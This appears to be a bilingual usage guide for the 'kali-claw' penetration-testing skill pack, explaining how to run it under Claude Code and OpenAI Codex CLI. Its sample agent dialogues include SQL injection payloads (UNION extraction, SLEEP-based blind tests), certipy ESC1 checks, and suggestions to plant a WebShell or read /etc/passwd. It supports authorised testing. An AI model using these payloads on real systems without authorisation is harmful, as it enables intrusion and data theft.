       [Bash] curl -s "http://target/page?id=1' UNION SELECT database(),version(),user()-- -"
       → 输出包含数据库名、版本、用户名 → 确认

       Verification 2：Burp Suite Repeater（不同 HTTP 客户端）
       - 我会给出 Burp 完整请求包，你在 Burp 里发
       - 这验证不是 curl/sqlmap 的客户端特殊性

       Verification 3：时间盲注独立确认
       [Bash] time curl -s "http://target/page?id=1' AND SLEEP(5)-- -"
       → 响应时间 5.0+ 秒 → 独立确认

       Verification 4：错误日志交叉比对
       [Bash] (如果有日志访问) grep -i "sql" /var/log/mysql/error.log

       ✓ 4 种独立方法全部确认 SQL 注入存在
       ✓ 不依赖任何单一工具

       写入 verification 报告：memory/2026-06-28-sqli-verification.md

    6.8 模式 G：调试/复盘

    你：我用 certipy 跑 ESC1，但是失败了。日志说 "certificate request denied"。

Claude：[加载 search-first + ad-cs-abuse]
       [读取 skills/ad-cs-abuse/guides/troubleshooting.md]

       常见 ESC1 失败原因（按出现频率）：

       1. 证书模板需要 CA Manager 审批（Pending 模式）
          检查：certutil -view -restrict "Request Disposition=Pending"
          解决：换其他不需要审批的 ESC1 模板

       2. 目标用户没有 Enroll 权限
          检查： certutil -view -restrict "Template=<TemplateName>"
          解决：用 PKI Health Check 工具找权限配置

       3. CA 服务不可达（RPC 端口被防火墙挡）
          检查：nc -z DC01 135 && nc -z DC01 49152-65535
          解决：开 RPC 端口

       4. 证书模板实际不是 ESC1（识别错了）
          检查： certipy template -u user -p Pass -template <name> -save
          解决：重新跑 certipy find -vulnerable 确认

       请贴出完整命令和报错，我精确定位。

    6.9 协作最佳实践

    DO：

    • 用 @ 引用文件，而不是"读取 xxx 文件"——更可靠、更省 token
    • 复杂任务先开 Plan Mode（Shift+Tab）让 Claude 列计划，确认后再执行
    • 长期会话用 /compact 智能压缩历史，避免上下文溢出
    • 写完一个发现立刻 /memory add，让 Claude 记到 MEMORY.md
    • 跑长任务用 --max-turns 50 避免 Claude 中途停下
    • 用 /agents 管理 subagents，定期清理过时的

    DON'T：

    • 不要凭印象写载荷——让 Claude 从 payloads.md 取，避免幻觉
    • 不要让 Claude 跳过 safety-guard——授权范围检查是设计上的安全闸
    • 不要在没看 diff 前接受写文件——用 Shift+Tab 进 Plan Mode 看改动
    • 不要在 memory 文件里写真凭据——kali-claw 规则明确禁止
    • 不要把 137 个技能全建成 subagent——选 5-10 个高频的就够

    七、使用场景

    7.1 渗透测试完整流程

    （参见 §6.5 模式 D 的完整示例）

    7.2 安全审计

    你：使用 security-auditor 智能体对 http://testphp.vulnweb.com 进行 OWASP 审计

Claude：[加载 security-auditor subagent]
       [读取 skills/security-review/SKILL.md]
       按 OWASP Top 10 逐项审计：

       A01 - Broken Access Control
       [检查] 发现 IDOR，可越权访问其他用户数据

       A02 - Cryptographic Failures
       [检查] HTTP 未强制跳转 HTTPS

       A03 - Injection
       [检查] 发现 SQL 注入和 XSS

       A05 - Security Misconfiguration
       [检查] 默认配置，错误信息暴露堆栈

       A07 - Auth Failures
       [检查] 登录无速率限制，可暴力破解

       总体评分：高风险
       优先修复：A03 Injection + A01 Access Control

    7.3 学习与研究

    （参见 §6.6 模式 E）

    7.4 Council 多视角分析

    你：用 council 模式分析发现的 SQL 注入漏洞

Claude：[加载 skills/council/SKILL.md]
       启动 Council 多视角分析：

       [攻击者视角]
       - 可通过 SQL 注入获取数据库完全控制
       - 通过 FILE 权限可能实现 RCE
       - 建议测试：写 WebShell、读 /etc/passwd

       [防御者视角]
       - 根本原因：未使用参数化查询
       - 修复方案：预处理语句 + WAF
       - 检测方案：监控异常 SQL 查询

       [审计者视角]
       - CVSS：9.8 (Critical)
       - 合规影响：违反 OWASP A03、PCI-DSS 6.5
       - 需书面记录完整攻击链

       综合建议：立即修复，同时检查其他页面同类问题。

    7.5 报告生成

    你：帮我生成今天所有发现的安全报告

Claude：[加载 skills/article-writing/SKILL.md]
       按 article-writing 方法论生成：

       ## 安全评估报告

       ### 元信息
       - 评估日期：2026-06-28
       - 目标：target.com
       - 方法论：OWASP Top 10 + PTES

       ### 发现摘要
       | ID | 标题 | CVSS | 状态 |
       |----|------|------|------|
       | V-001 | SQL Injection | 9.8 | Open |
       | V-002 | XSS (Reflected) | 6.1 | Open |
       | V-003 | IDOR | 5.3 | Open |

       ### 详细发现
       [每个漏洞：描述、复现步骤、证据、影响、修复建议]

       [报告写入 memory/2026-06-28-report.md]

    八、常见问题

    Q1: Claude Code 可以在 Kali Linux 上运行吗？

    可以。Kali Linux 基于 Debian，三种方式都支持：

    # 方式 1：原生安装器（推荐）
curl -fsSL https://claude.ai/install.sh | bash

# 方式 2：npm（需要 Node.js >= 18）
sudo apt install -y nodejs npm
npm install -g @anthropic-ai/claude-code

# 方式 3：nvm + npm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
nvm install --lts
npm install -g @anthropic-ai/claude-code

# 验证
claude --version

    Q2: MCP 服务器无法连接

    # 1. 检查 Python 和 MCP SDK
python3 --version
pip show mcp

# 2. 手动测试 MCP 服务器
python3 ~/kali-mcp-servers/nmap_server.py
# 应无报错启动

# 3. 检查 .mcp.json 路径（用绝对路径）
cat .mcp.json

# 4. 在 Claude 内查看 MCP 状态
/mcp

# 5. 权限
chmod +x ~/kali-mcp-servers/*.py

    Q3: 自定义 Subagent 不触发

    # 1. 检查位置
ls ~/.claude/agents/

# 2. 检查 frontmatter
head -8 ~/.claude/agents/web-sqli-analyzer.md
# 必须以 --- 开头，含 name + description

# 3. 在会话内查看
/agents

# 4. description 要够描述性（Claude 按 description 匹配）
# Bad:  description: A security tool
# Good: description: SQL injection specialist. Covers Union/Blind/Time-based/Error-based. Use PROACTIVELY for any SQLi task.

    Q4: 如何保持 kali-claw 项目更新

    cd kali-claw
git pull origin main

# Skills 软链会自动看到新内容，无需重建
# Subagents 引用文件路径，内容更新自动生效

# 拉取后跑一次质量评分
bash validation/SCORE.sh

    Q5: Claude Code 的记忆会丢失吗

    不会。Claude Code 的记忆存储在 ~/.claude/projects/<hash>/memory/ 磁盘文件中。即使关闭 Claude Code，下次打开同一项目记忆仍在。

    Q6: 如何使用 Skills 系统

    Claude Code 2025 起原生支持 Skills 目录。三种用法：

    1. Skills 目录（推荐）：~/.claude/skills/<name>/SKILL.md 自动扫描
    2. Subagent：高频技能转成 subagent，含工具权限和操作流程
    3. 手动引用：@skills/<name>/SKILL.md 在对话中直接引用

    Q7: 能否同时用 OpenClaw 和 Claude Code

    可以。两者共用同一个 skills/ 目录：

    • OpenClaw 读 SOUL.md + AGENTS.md + skills/ 作为工作空间
    • Claude Code 读 CLAUDE.md + ~/.claude/agents/ + skills/ 作为项目

    它们不冲突，只是运行时不同。可以根据场景选择：

    • 重编排、多智能体协作、自动化循环 → OpenClaw（更强的工作空间生命周期管理）
    • 日常开发、IDE 集成、原生 Claude 能力 → Claude Code（更好的对话体验和上下文）

    Q8: 远程 Kali 怎么配置

    三种方式：

    1. SSH 直连：Claude Code 用 Bash 工具执行 ssh user@kali-host "nmap ..."
    2. MCP 远程模式：MCP 服务器通过 SSH 调用远程 Kali 工具（见 §5.1）
    3. VS Code Remote：VS Code Remote SSH 连到 Kali，远程终端跑 Claude Code

    Q9: 需要修改 kali-claw 的 skills 文件吗

    不需要。这是本指南的核心设计原则。skills/ 目录下所有 137 个技能域保持完全不变。Claude Code 在原位置读取。迁移只涉及：

    • 追加 CLAUDE.md（项目级配置，不是技能文件）
    • 在 ~/.claude/agents/ 创建引用 skills/ 路径的新文件
    • 在 ~/.claude/skills/ 创建软链
    • 在 ~/.claude/rules/ 创建规则文件
    • 创建 MCP 服务器、Hook 脚本

    这些步骤都不触碰 skills/ 下任何文件。

    Q10: 如何为 137 个技能创建 Subagent

    不需要全建。建议策略：

    • 高频技能建 Subagent（5-10 个）：web-sqli、network-pentest、ad-cs-abuse、pam-privilege-attack、ci-cd-supply-chain-attack、cloud-identity-attack、kubernetes-attack、security-auditor
    • 其他建 Skills 软链（一次性 137 个））：通过 §4.2 的批量软链脚本
    • 偶尔用的技能：直接 @skills/<name>/SKILL.md 引用（最小迁移思路）

    Q11: Claude Code 在国内访问不稳定怎么办

    • 配置代理：export HTTPS_PROXY=http://your-proxy:port
    • 使用 Bedrock / Vertex AI：通过 AWS / GCP 入口，不直连 Anthropic
    • 切换 npm 镜像：npm config set registry https://registry.npmmirror.com（仅影响 npm 包下载，不影响运行时）
    • 使用 Anthropic API 中转：自建反代，把 ANTHROPIC_BASE_URL 指向反代

    Q12: 如何对接 kali-claw 的 SCORE.sh 质量体系

    Claude Code 直接用 Bash 工具调用：

    # 给单个技能打分
> 给 web-sqli 跑个分

Claude：[Bash]
       bash validation/SCORE.sh --skill web-sqli
       → 92.0 (Distinguished)

# 找最薄弱的技能
> 列出分数最低的 5 个技能

Claude：[Bash]
       bash validation/SCORE.sh | jq 'sort_by(.overall_score) | .[0:5]'

    Q13: Plan Mode 和正常模式有什么区别

    Plan Mode（Shift+Tab）下 Claude 只读不写：

    • 可以读文件、跑只读命令（grep、find、ls）
    • 不能 Write / Edit / 跑破坏性 Bash
    • 适合：先看一遍项目再动手、出实施计划、检查 Claude 理解对不对

    退出 Plan Mode（ExitPlanMode 工具）后才能执行改动。

    Q14: 如何让 Claude 自动加载多个技能（多技能编排）

    三种方式：

    1. engagement-manager subagent（推荐）：专门做编排，会按 PTES 流程触发其他技能
    2. council skill：用多视角分析强制覆盖攻击/防御/审计三方
    3. CLAUDE.md 指令：在项目指令里写"复杂任务必须先读 skills/deep-research/SKILL.md 做规划"

    九、架构对比与参考

    9.1 完整映射表

    kali-claw (OpenClaw)Claude Code迁移方式
    SOUL.md（人格）CLAUDE.md追加关键内容
    USER.md（用户信息）CLAUDE.md / ~/.claude/settings.json手动配置
    AGENTS.md（会话配置）CLAUDE.md + ~/.claude/rules/提取规则
    skills/*/SKILL.md~/.claude/skills/（软链）+ ~/.claude/agents/（高频）软链为主，subagent 为辅
    skills/*/payloads.md项目文件（subagent 引用）保持原位
    skills/*/test-cases.md项目文件（subagent 引用）保持原位
    skills/*/guides/项目文件保持原位
    MEMORY.md~/.claude/projects/.../memory/复制
    memory/*.md~/.claude/projects/.../memory/复制近期
    chronicle/项目文件保持原位
    TOOLS.md项目文件 + MCP 服务器部分转换
    HEARTBEAT.md~/.claude/settings.json Hooks手动配置
    validation/SCORE.shBash 工具直接调用不迁移，直接用
    validation/orchestrator.shBash 工具直接调用不迁移，直接用
    validation/engagement-template/.scope 文件 + engagement-manager部分转换
    12 Hacker Laws~/.claude/rules/提取为规则

    9.2 迁移检查清单

    最小迁移（5 分钟）：

    • 原生安装器装好 Claude Code（curl -fsSL https://claude.ai/install.sh | bash）
    • 完成认证（OAuth 或 API Key）
    • 克隆 kali-claw 项目
    • 在项目目录中 claude 启动
    • 用 @CLAUDE.md 验证能读到项目说明

    标准迁移（30 分钟）：

    • 完成 §4.1：追加 Security Agent Mode 到 CLAUDE.md
    • 完成 §4.2：批量软链 137 个技能到 ~/.claude/skills/
    • 完成 §4.3：创建 5-10 个高频 subagent
    • 完成 §4.4：创建 ~/.claude/rules/kali-claw-security.md
    • 完成 §4.5：配置 ~/.claude/projects/<hash>/memory/
    • /skills 验证能看到 137 个技能

    完整迁移（2-3 小时）：

    • 完成所有标准迁移
    • 完成 §5.1：创建 MCP 服务器（nmap、sqlmap、可选远程）
    • 完成 §5.2：配置 Hooks（PreToolUse + Stop）
    • 完成 §5.3：测试 bash validation/SCORE.sh 和 bash validation/orchestrator.sh
    • 创建 .scope 授权范围文件
    • 端到端测试：完整授权渗透 + 报告生成

    9.3 性能对比

    指标OpenClawClaude Code
    首次启动需安装框架 + 创建智能体原生安装器 + OAuth，5 分钟内
    技能加载会话启动时全部加载渐进式披露（frontmatter → SKILL.md → 详细）
    工具调用通过终端命令Bash + MCP（结构化 I/O）
    上下文窗口受框架限制Claude 原生（200K+ tokens，含 Extended Thinking）
    多会话支持多智能体多 Tab + --resume
    更新维护需同步框架和技能git pull + claude update
    IDE 集成无VS Code / JetBrains 原生
    调试文件级日志/status 实时 token、Ctrl+O 详细模式

    Built with Claude Code + kali-claw v0.2.1（137 个技能域 / 33 Distinguished / 100% Excellent+）。如有问题，请在 GitHub Issues 中反馈。

  • kali-claw-pentest-agent/GUIDE-CODEX-en.mdmarkdown · 46.8 KB

    kali-claw Skill Pack Usage Guide: Running on OpenAI Codex

    ⚠️ Update Notice (2026-08-08): This guide reflects kali-claw v0.2.4 (Phase 2 Track 1 Minor Release). Key changes since v0.2.1:

    • 139 skill domains (added in v0.2.4: eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack)
    • All 139 SKILLs at v0.2.0.2 with complete Defense Triple (Defense Perspective + Detection Methods + Defense Evasion Techniques) — 100% coverage
    • skill-lint: 0 errors / 0 warnings, 139/139 clean pass (since v0.2.3)
    • MAJOR tool upgrades applied in v0.2.4 (frida 17 / hashcat 7 / docker 29 compatibility)
    • See RELEASE-v0.2.4.md for full milestone details
    • 7 new strategic SKILLs added: ai-safety-redteam-advanced, identity-provider-attack, data-loss-prevention-bypass, edge-computing-security, quantum-cryptography-transition, hardware-side-channel-advanced, 5g-6g-telecom-attack-advanced
    • 6 documentation files generated: SKILL_HANDBOOK, QUICK_REFERENCE, SKILL_INDEX.json, DOMAIN_MATRIX, TOOLS_LIFECYCLE, SKILL_MAINTENANCE
    • 5 automation scripts: skill-lint.py, validate-payloads.py, validate-testcases.py, GitHub Actions CI/CD, update-skill-standard.py
    • See RELEASE-v0.2.1.md for full milestone details

    The agent-tool-specific commands and configuration steps in this guide remain accurate. Only kali-claw side metadata has been updated.

    For kali-claw v0.2.1+ | A complete guide to using kali-claw's 137 security skill domains with the OpenAI Codex CLI agent.

    Table of Contents

    1. Overview
    2. Environment Setup
    3. Approach 1: Minimal Migration (5 Minutes)
    4. Approach 2: Standard Migration (30 Minutes)
    5. Approach 3: Full Migration (2 Hours)
    6. Usage Scenarios
    7. FAQ
    8. Architecture Comparison and Reference

    1. Overview

    1.1 What is OpenAI Codex CLI

    OpenAI Codex CLI (@openai/codex) is OpenAI's official command-line coding agent. It runs directly in your terminal, reads your repository, edits files, executes shell commands, and can be guided through project-level instruction files.

    Core capabilities:

    • CLI interface -- Interactive terminal sessions with multi-turn conversations and context management
    • AGENTS.md project instructions -- Markdown files in your repository that define how Codex should behave (similar to CLAUDE.md for Claude Code)
    • Cascading configuration -- Global instructions (~/.codex/AGENTS.md) combined with project-level files, with closer files taking precedence
    • Sandbox execution -- Commands run in a sandboxed environment with configurable approval policies
    • OpenAI models -- Uses GPT-4o, o3, o4-mini, and other OpenAI models
    • MCP integration -- Connect to external tools via Model Context Protocol
    • Skills system -- Reusable workflows defined in SKILL.md files, organized under .agents/skills/ or $HOME/.agents/skills/
    • Subagents -- Delegate specialized tasks to different agent roles
    • Memories -- Persistent context learned from prior work sessions

    Platform comparison:

    FeatureOpenClawOpenAI Codex CLIClaude CodeHermes
    RuntimeIndependent npm frameworkOfficial OpenAI CLIAnthropic official CLIOpen-source framework
    ModelAny LLM via gatewayOpenAI models (GPT-4o, o3)Claude models200+ models via OpenRouter
    Project instructionsSOUL.md + AGENTS.mdAGENTS.md (cascading)CLAUDE.mdconfig.yaml
    SkillsMarkdown in skills/SKILL.md + scripts/Custom agents in ~/.claude/agents/Single-file skills
    Tool callingTerminal commandsShell + MCPBash tool + MCPPlugins
    Memory persistenceFile system (memory/)Built-in memories~/.claude/projects/SQLite with FTS5
    SandboxNo built-in sandboxOS-level sandboxNo built-in sandboxNo built-in sandbox
    Install dependencyNode.js + OpenClawnpm onlynpm onlycurl installer

    Why choose Codex for kali-claw:

    • OpenAI model access -- Use GPT-4o, o3, o4-mini with strong reasoning for security analysis
    • Sandboxed execution -- Safety boundary for running security tools (nmap, sqlmap, etc.)
    • Cascading AGENTS.md -- Perfect mapping for kali-claw's SOUL.md + AGENTS.md structure
    • Skills system -- Native SKILL.md format aligns well with kali-claw's skill structure
    • MCP integration -- Connect security tools as MCP servers for structured access
    • Clean CLI experience -- Terminal-native workflow fits penetration testing workflows

    1.2 How kali-claw Skills Fit with Codex

    kali-claw is a pure Markdown knowledge base, not tied to any specific framework. This makes it naturally compatible with Codex:

    • kali-claw files are already Markdown -- Codex reads Markdown natively. No format conversion needed.
    • Codex reads AGENTS.md at session start -- kali-claw's existing AGENTS.md maps directly to this mechanism.
    • Skill files serve as reference docs -- Codex can read skills/*/SKILL.md, payloads.md, test-cases.md, and guides/ on demand.
    • SOUL.md becomes project instructions -- The 12 Hacker Laws and behavioral guidelines can be included in Codex's instruction chain.

    Key principle: the skills/ directory stays completely unchanged. Migration means configuring Codex to read and use existing kali-claw files, not transforming them. You point Codex at the kali-claw workspace and it reads the files as-is.

    1.3 Migration Strategies Overview

    Three approaches, ordered by increasing depth:

    ApproachTimeWhat You GetBest For
    1. Minimal5 minUse Codex to read skill files on demandQuick evaluation, one-off tasks
    2. Standard30 minEnhanced AGENTS.md + custom config + approval policiesDaily use, security audits
    3. Full2 hoursMCP tools + sandbox config + skills integration + memoriesProfessional penetration testing

    Recommendation: Start with Approach 1 to validate the setup. Use Approach 2 for regular work. Use Approach 3 for production penetration testing.

    2. Environment Setup

    2.1 Install Codex CLI

    # Install globally via npm
npm install -g @openai/codex

# Verify installation
codex --version

# Set your OpenAI API key (choose one method)
export OPENAI_API_KEY="sk-..."                    # Session-only
echo 'export OPENAI_API_KEY="sk-..."' >> ~/.zshrc # Persistent (zsh)
echo 'export OPENAI_API_KEY="sk-..."' >> ~/.bashrc # Persistent (bash)

    Common installation issues:

    ProblemSolution
    Permission denied (EACCES)sudo npm install -g @openai/codex
    npm mirror timeout (China)npm config set registry https://registry.npmmirror.com
    Node.js version too oldInstall latest LTS via nvm: nvm install --lts
    Command not found after installCheck npm global bin path: npm config get prefix and add to PATH

    2.2 Prepare Kali Linux Environment

    Choose one of three options:

    Option A: Kali Linux native (recommended)

    # Run Codex directly on Kali
nmap --version   # Verify tools available
sqlmap --version

    Option B: Remote Kali (SSH access)

    # Generate SSH key
ssh-keygen -t ed25519 -C "kali-claw"

# Copy public key to remote Kali
ssh-copy-id user@kali-host

# Verify connection
ssh user@kali-host "nmap --version && sqlmap --version"

    Option C: Docker container

    # Pull and start Kali container
docker pull kalilinux/kali-rolling
docker run -it --name kali-env kalilinux/kali-rolling /bin/bash

# Install security tools inside container
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# Re-enter after exiting
docker start -ai kali-env

    2.3 Clone kali-claw Workspace

    git clone https://github.com/brucesongs/kali-claw.git
cd kali-claw

    Verify the file structure:

    ls -la
# You should see:
# SOUL.md  AGENTS.md  IDENTITY.md  USER.md  MEMORY.md
# TOOLS.md HEARTBEAT.md  skills/  memory/  chronicle/

    2.4 Environment Checklist

    • Codex CLI installed (codex --version)
    • OpenAI API key configured
    • Kali Linux available (native / SSH / Docker)
    • kali-claw cloned to local machine
    • Basic Kali tools available (verify with nmap --version)

    3. Approach 1: Minimal Migration (5 Minutes)

    3.1 Configure API Key

    Ensure your OpenAI API key is set:

    export OPENAI_API_KEY="sk-..."

    3.2 Launch Codex in the kali-claw Directory

    cd kali-claw
codex

    Codex will detect the project's AGENTS.md file and read it as project-level instructions. The kali-claw AGENTS.md already describes the workspace structure, memory system, and behavioral guidelines -- Codex will understand the project context.

    3.3 Usage Examples (Multi-turn Dialog)

    Example 1: Read a skill and analyze a vulnerability

    You: Read skills/web-sqli/SKILL.md, then help me analyze a SQL injection vulnerability

Codex: [Reads SKILL.md]
       I have reviewed the SQL injection skill methodology. This skill covers the following
       injection types:
       - Union-based / Error-based / Boolean-blind / Time-blind
       - Double Query / Stacked Queries / Out-of-band

       The attack chain follows: Detection -> Fingerprinting -> Exploitation -> Data Extraction

       Please provide the target URL or parameter details, and I will analyze it following
       the methodology.

    Example 2: Retrieve payloads for a specific attack type

    You: Check skills/web-sqli/payloads.md, give me a UNION injection payload

Codex: [Reads payloads.md]
       Based on the UNION Injection section in payloads.md, here is the standard approach:

       Step 1 - Determine column count:
         ' ORDER BY 5-- -

       Step 2 - Find echo position:
         ' UNION SELECT 1,2,3-- -

       Step 3 - Extract data:
         ' UNION SELECT database(),version(),user()-- -

       Payload notes from the skill file:
       - Use -- - for MySQL comment (trailing dash prevents parsing issues)
       - Adjust column count to match the target query
       - String concatenation may be needed if only one echo position exists

    Example 3: Execute a test case template

    You: Follow the TC-S001 test case from skills/web-sqli/test-cases.md

Codex: [Reads test-cases.md]
       Executing TC-S001: GET Parameter Injection Point Detection

       Test Step 1: Test single quote to trigger SQL error
         ?id=1'

       Test Step 2: Confirm string-type injection
         ?id=1' AND '1'='1   (page should render normally)
         ?id=1' AND '1'='2   (page should render differently or show error)

       Test Step 3: Confirm numeric-type injection
         ?id=1 AND 1=1       (page should render normally)
         ?id=1 AND 1=2       (page should render differently)

       Test Step 4: Test different closure methods: ' / " / ') / "))

       Please provide the target URL and I will execute these steps.

    Example 4: Cross-skill analysis

    You: Read skills/network-pentest/SKILL.md and skills/recon-osint/SKILL.md.
     I need a reconnaissance plan for a target network.

Codex: [Reads both SKILL.md files]
       Combining the methodologies from both skills, here is a phased reconnaissance plan:

       Phase 1 - Passive Reconnaissance (recon-osint methodology):
       - WHOIS lookup: whois target.com
       - DNS enumeration: dig target.com ANY +dnssec
       - Subdomain discovery: subfinder -d target.com
       - Technology fingerprinting: whatweb target.com

       Phase 2 - Active Scanning (network-pentest methodology):
       - Port scanning: nmap -sS -sV -O target
       - Service enumeration: nmap --script=default target
       - Vulnerability scanning: nmap --script=vuln target

       Phase 3 - Attack Surface Analysis:
       - Map discovered services to known vulnerabilities
       - Identify potential entry points per the methodology in SKILL.md
       - Prioritize targets by risk level

    3.4 Limitations of Minimal Migration

    • Must manually reference skill file paths each time (e.g., "Read skills/web-sqli/SKILL.md")
    • No persistent memory -- Codex does not remember analysis results across sessions
    • No safety boundaries -- No built-in scope enforcement or authorization checks
    • No tool integration -- Cannot directly call nmap, sqlmap, or other tools through structured interfaces
    • Manual skill discovery -- You must know which skill domain to reference

    Best for: Quick evaluation, one-off testing, temporary tasks.

    4. Approach 2: Standard Migration (30 Minutes)

    Standard migration enhances the project configuration so Codex automatically understands the kali-claw context and can locate relevant skills without manual file path references.

    4.1 Enhance AGENTS.md for Codex

    Codex reads AGENTS.md from the project root. Since kali-claw already has an AGENTS.md, we enhance it by creating an AGENTS.override.md at the project root that appends Codex-specific instructions. This way the original AGENTS.md stays untouched.

    Create AGENTS.override.md in the kali-claw project root:

    # kali-claw Security Agent - Codex Instructions

> This file provides Codex-specific instructions that extend the base AGENTS.md.
> Codex reads this file at session start and uses it to understand the project context.

## Role

You are kali-claw, a senior penetration testing engineer operating on Kali Linux.
You follow the 12 Hacker Laws defined in SOUL.md. Read SOUL.md before any security operation.

## Behavioral Guidelines

1. **Read SOUL.md first** -- Load the 12 Hacker Laws before any security task
2. **Verify authorization** -- Always confirm scope and authorization before testing
3. **Follow skill methodology** -- Use the methodology defined in the relevant SKILL.md
4. **Use structured payloads** -- Pull payloads from payloads.md, not improvisation
5. **Document per test-cases.md** -- Record findings using the TC-XXXX format
6. **Never execute destructive commands** without explicit user confirmation
7. **Log all actions** to memory/YYYY-MM-DD.md

## Skill Index

137 security skill domains are available under skills/. When a security task is requested,
automatically identify the relevant skill domain and read its SKILL.md first.

### Web Security
- `skills/web-sqli/` -- SQL injection (Union, Blind, Error, Double Query, WAF bypass)
- `skills/web-xss/` -- Cross-site scripting (Reflected, Stored, DOM-based)
- `skills/web-ssrf/` -- Server-Side Request Forgery
- `skills/web-auth-bypass/` -- Authentication bypass techniques
- `skills/web-access-control/` -- Access control vulnerabilities
- `skills/api-security/` -- API security testing

### Network
- `skills/network-pentest/` -- Network penetration testing
- `skills/wifi-pentest/` -- WiFi security testing
- `skills/osint/` -- Open Source Intelligence
- `skills/recon-osint/` -- Reconnaissance and OSINT

### Exploitation
- `skills/post-exploitation/` -- Post-exploitation techniques
- `skills/password-attack/` -- Password cracking and brute force
- `skills/crypto-attacks/` -- Cryptographic attacks
- `skills/insecure-design/` -- Insecure design patterns
- `skills/security-misconfiguration/` -- Security misconfiguration

### Code and Binary
- `skills/binary-reverse/` -- Binary analysis and reverse engineering
- `skills/repo-scan/` -- Codebase security scanning
- `skills/security-review/` -- Systematic security review
- `skills/ai-security/` -- AI/LLM security testing
- `skills/ai-fuzzing/` -- AI-powered fuzzing
- `skills/vulnerability-assessment/` -- Vulnerability assessment

### Cloud and Infrastructure
- `skills/cloud-security/` -- Cloud security testing
- `skills/container-security/` -- Container and Docker security
- `skills/supply-chain-security/` -- Supply chain security
- `skills/hardware-security/` -- Hardware security testing
- `skills/mobile-security/` -- Mobile application security
- `skills/digital-forensics/` -- Digital forensics

### Social and Intelligence
- `skills/social-engineering/` -- Social engineering techniques
- `skills/social-intelligence/` -- Social platform intelligence
- `skills/deep-research/` -- Multi-source intelligence synthesis
- `skills/search-first/` -- Vulnerability and exploit search
- `skills/exa-search/` -- Semantic search for security research
- `skills/data-scraper-agent/` -- Structured data collection

### Meta Skills
- `skills/autonomous-loops/` -- Sequential pipeline orchestration
- `skills/council/` -- Multi-perspective security analysis
- `skills/multi-agent-collaboration/` -- Multi-agent task coordination
- `skills/verification-loop/` -- Exploit confirmation and verification
- `skills/security-bounty-hunter/` -- Bug bounty methodology

### Infrastructure
- `skills/terminal-ops/` -- Terminal pentest operations
- `skills/safety-guard/` -- Scope enforcement and safety
- `skills/chronicle/` -- Session logging and milestones
- `skills/continuous-learning/` -- Tool mastery progression
- `skills/docker-patterns/` -- Docker lab environments
- `skills/logging-monitoring/` -- Security logging and monitoring

### Knowledge and Content
- `skills/article-writing/` -- Security content creation
- `skills/browser-qa/` -- Browser-based security testing
- `skills/codebase-onboarding/` -- Rapid codebase analysis
- `skills/knowledge-ops/` -- Knowledge graph management
- `skills/mcp-server-patterns/` -- MCP server design patterns

## Safety Boundaries

- Only test targets within explicitly authorized scope
- Always confirm destructive operations with the user before execution
- Never store credentials, API keys, or tokens in memory files
- Log all security testing actions to memory/YYYY-MM-DD.md
- Use the safety-guard principles from skills/safety-guard/SKILL.md
- Never exfiltrate real user data -- use dummy data for proof-of-concept

## Output Format

For security findings, include:
- Vulnerability type and location
- Payload or technique used
- Data accessible through this vulnerability
- CVSS severity estimate (if applicable)
- Remediation recommendation

    4.2 Configure codex.md (Alternative: Dedicated Instruction File)

    If you prefer not to use AGENTS.override.md, you can create a dedicated instruction file and reference it in your Codex configuration.

    Create codex-instructions.md in the kali-claw project root:

    # kali-claw Penetration Testing Agent - Codex Configuration

## Identity

You are kali-claw, a senior penetration testing engineer mastering all 518 Kali Linux
security tools. You operate under the 12 Hacker Laws and provide professional, direct,
hands-on security analysis.

## 12 Hacker Laws

Before any security operation, reason through these principles:

1. **First Principles Thinking** -- Break problems down to fundamental facts. Question every
   "obvious" assumption.
2. **Divergent Thinking First** -- Think of at least 3 solutions for every problem. There is
   always more than one path.
3. **Minimize Attack Surface** -- Less exposure means less risk. Every open port and service
   is a potential entry point.
4. **Defense in Depth** -- Never rely on a single layer of defense. Multi-layer protection
   prevents total collapse from a single failure.
5. **Least Privilege** -- Grant only the access that is necessary. Excessive permissions
   are a stepping stone for attackers.
6. **Assume Breach** -- Design systems assuming the attacker is already inside. Build
   detection and recovery on this premise.
7. **Obscurity Is Not Security** -- Security comes from design and verification, not from
   hiding things.
8. **Trust but Verify** -- Do not trust any input. Verify everything -- user input, API
   responses, file contents, network data.
9. **Information Wants to Be Free** -- Knowledge sharing drives security progress. Share
   discoveries and collaborate on defense.
10. **Skill Over Credentials** -- Judge by capability, not by title. Code speaks, results speak.
11. **The Weakest Link Is Human** -- People are the weakest link. Always consider the human
    factor.
12. **Murphy's Security Law** -- If it can be exploited, it will be. Do not rely on luck.

## Skill Usage Guide

When handling a security task:

1. **Identify the relevant skill domain** from the 137 domains in skills/
2. **Read the SKILL.md** to load the complete methodology and tool references
3. **Reference payloads.md** for structured attack payloads (do not improvise payloads)
4. **Follow test-cases.md** templates for structured testing and documentation
5. **Consult guides/** for deep-dive techniques on complex scenarios

Each skill domain contains:
- `SKILL.md` -- Skill definition, use cases, methodology, tools, attack chain
- `payloads.md` -- Attack payloads organized by type
- `test-cases.md` -- Structured test case templates (TC-XXXX format)
- `guides/` -- Deep-dive documents and scripts

## Security Boundaries

- **Scope enforcement**: Only test targets within explicitly authorized scope
- **Authorization**: Always confirm scope and authorization before beginning
- **Destructive operations**: Require explicit user confirmation before any destructive command
- **Data protection**: Never store real credentials or tokens in files
- **Evidence handling**: Use dummy data for proof-of-concept, never exfiltrate real user data
- **Logging**: Record all testing activities to memory/YYYY-MM-DD.md

## Response Format

For every security finding, provide:
1. Vulnerability type and precise location
2. Payload or technique used (from payloads.md when applicable)
3. Data or access accessible through this vulnerability
4. CVSS severity estimate
5. Step-by-step remediation recommendation

For penetration test reports:
1. Executive summary
2. Scope and methodology
3. Findings ordered by severity (Critical > High > Medium > Low > Info)
4. Detailed evidence for each finding
5. Remediation recommendations

    Then reference this file in your Codex configuration. Edit ~/.codex/config.toml:

    # Point to the kali-claw instruction file
model_instructions_file = "/path/to/kali-claw/codex-instructions.md"

# Increase the instruction size limit (default is 32 KiB)
project_doc_max_bytes = 65536

    4.3 Configure Approval Mode

    Codex has three approval modes for command execution:

    # Suggest mode (default) -- confirm every action
codex --approval-mode suggest

# Auto-edit mode -- auto-approve file edits, confirm shell commands
codex --approval-mode auto-edit

# Full-auto mode -- auto-approve everything (use with extreme caution!)
# codex --approval-mode never

    Recommended configuration for kali-claw:

    For security work, use suggest mode (the default) or configure granular approval in ~/.codex/config.toml:

    # ~/.codex/config.toml

# Model selection
model = "o3"
